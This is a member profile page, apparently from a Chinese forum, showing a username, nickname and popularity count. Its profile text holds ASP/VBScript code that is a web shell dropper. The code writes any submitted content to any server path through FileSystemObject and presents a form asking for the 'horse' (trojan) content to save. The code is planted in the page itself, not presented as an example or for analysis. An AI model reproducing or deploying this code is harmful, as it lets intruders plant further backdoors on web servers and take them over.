不错呀，都能看

头像

人气：5680

会员名：	ac VIP
	Lv01.魔法学徒 (0)
昵称：	阿城 (男)
dim objFSO dim fdata dim objCountFile on error resume next Set objFSO = Server.CreateObject("Scripting.FileSystemObject") if Trim(request("syfdpath"))<>"" then fdata = request("cyfddata") Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) objCountFile.Write fdata if err =0 then response.write "<font color=red>save Success!</font>" else response.write "<font color=red>Save UnSuccess!</font>" end if err.clear end if objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing Response.write "<form action=' method=post>" Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" Response.Write "<input type=text name=syfdpath width=32 size=50>" Response.Write "<br>" Response.write "本文件绝对路径" =server.mappath(Request.ServerVariables("SCRIPT_NAME")) Response.write "<br>" Response.write "输入马的内容:" Response.write "<textarea name=cyfddata cols=80 rows=10 width=32>" Response.write "" Response.write ""